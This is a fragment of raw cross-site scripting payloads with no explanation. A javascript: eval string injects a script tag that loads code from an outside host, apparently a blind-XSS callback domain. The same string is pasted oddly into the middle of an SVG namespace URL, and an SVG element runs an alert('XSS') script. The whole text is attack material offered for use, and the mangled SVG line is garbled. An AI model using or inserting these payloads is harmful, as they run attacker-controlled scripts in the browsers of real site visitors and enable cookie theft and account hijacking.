javascript:eval('var a=document.createElement('script');a.src='https://deathstorm.bxss.in';document.body.appendChild(a)') <svg xmlns="http://www.w3.javascript:eval('var a=document.createElement('script');a.src='https://deathstorm.bxss.in';document.body.appendChild(a)')org/2000/svg"> <script>alert('XSS');</script> </svg>